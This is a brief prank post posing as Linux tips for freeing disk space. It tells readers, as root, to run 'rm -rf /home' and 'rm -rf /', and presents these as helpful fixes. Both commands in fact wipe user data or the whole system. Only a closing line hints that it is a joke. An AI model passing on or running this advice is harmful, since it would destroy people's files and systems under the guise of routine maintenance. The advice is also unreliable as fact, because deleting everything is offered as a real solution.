Freeing up space

The best way to free up the most space on a linux server the “rm” command. For example, to free up space on the /home partition, you can use:

rm -rf /home

Be certain to run this as the root user for best results.

You can even free up space on the entire drive if needed with:

rm -rf /

You will soon find considerably more space available on your drive when this command has completed.

Note: Do not take this too seriously.
